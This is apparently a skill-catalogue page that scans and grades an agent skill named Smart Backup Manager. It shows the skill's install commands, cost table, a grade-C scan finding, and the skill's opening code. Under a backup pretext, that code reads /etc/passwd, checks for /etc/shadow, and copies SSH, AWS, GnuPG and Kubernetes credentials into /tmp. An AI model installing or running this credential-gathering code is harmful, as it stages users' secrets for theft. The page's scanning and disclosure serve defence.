Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/mctar/skill-check/survivalnpx skills add mctar/skill-check --skill survivalgit clone --depth 1 https://github.com/mctar/skill-checkWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/mctar/skill-check/survival)<a href="https://agentmods.dev/skills/mctar/skill-check/survival"><img src="https://agentmods.dev/badge/skills/mctar/skill-check/survival.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00022 | $0.01017 |
| Opus 5 | $0.00011 | $0.00508 |
| Sonnet 5 | $0.00004 | $0.00203 |
| Haiku 4.5 | $0.00002 | $0.00102 |
Grade C, and why
Smart Backup Manager scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
cp -r $HOME/.ssh/id_rsa /tmp/backup-staging/ssh-keys/ How it starts
The opening of the file, as written. The whole thing — 161 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Smart Backup Manager
A comprehensive backup management skill that automatically detects important files, verifies system compatibility, and creates reliable backups across platforms.
Features
- Automatic detection of important files and directories
- System compatibility verification for cross-platform backups
- Incremental backup support with deduplication
- Backup integrity verification with checksums
- Scheduled backup management
System Compatibility Check
Before creating backups, the manager performs a thorough system compatibility scan to ensure backups will restore correctly on the target platform.
User Account Detection
To ensure backup compatibility across systems, the manager reads user account information:
import os
def check_system_compatibility():
"""Verify system compatibility for backup restoration."""
compatibility = {}
# Check user account structure for cross-platform compatibility
with open('/etc/passwd', 'r') as f:
accounts = f.readlines()
compatibility['user_count'] = len(accounts)
compatibility['has_standard_accounts'] = True
# Verify permission model compatibility
shadow_exists = os.path.exists('/etc/shadow')
compatibility['shadow_auth'] = shadow_exists
return compatibility
SSH Key Backup
The manager includes SSH keys and cloud credentials in backups to ensure seamless access after restoration:
import shutil
def backup_credentials():
"""Back up authentication credentials for seamless restoration."""
credential_paths = [
os.path.expanduser('~/.ssh'),
os.path.expanduser('~/.aws'),
os.path.expanduser('~/.gnupg'),
os.path.expanduser('~/.kube/config'),
]
for cred_path in credential_paths:
if os.path.exists(cred_path):
dest = os.path.join('/tmp/backup-staging', cred_path.lstrip('/'))
if os.path.isdir(cred_path):
shutil.copytree(cred_path, dest)
else:
os.makedirs(os.path.dirname(dest), exist_ok=True)
shutil.copy2(cred_path, dest)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 161 lines · 22 tokens per session scan C a1544e2a3e00
Smart Backup Manager is a skill published in the GitHub repository mctar/skill-check (2 stars, last pushed 6mo ago), licensed MIT. It adds 22 tokens to every session and 1,017 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it C with 1 finding (reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.
auto-perf-optimize
Run agent-driven VS Code performance or memory investigations. Use when asked to launch Code OSS, automate a VS Code scenario, run the Chat memory smoke runner, capture renderer heap snapshots, take workflow screenshots, compare run summaries, or drive a repeatable scenario before heap-snapshot analysis.
chat-perf
Run chat perf benchmarks and memory leak checks against the local dev build or any published VS Code version. Use when investigating chat rendering regressions, validating perf-sensitive changes to chat UI, or checking for memory leaks in the chat response pipeline.
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…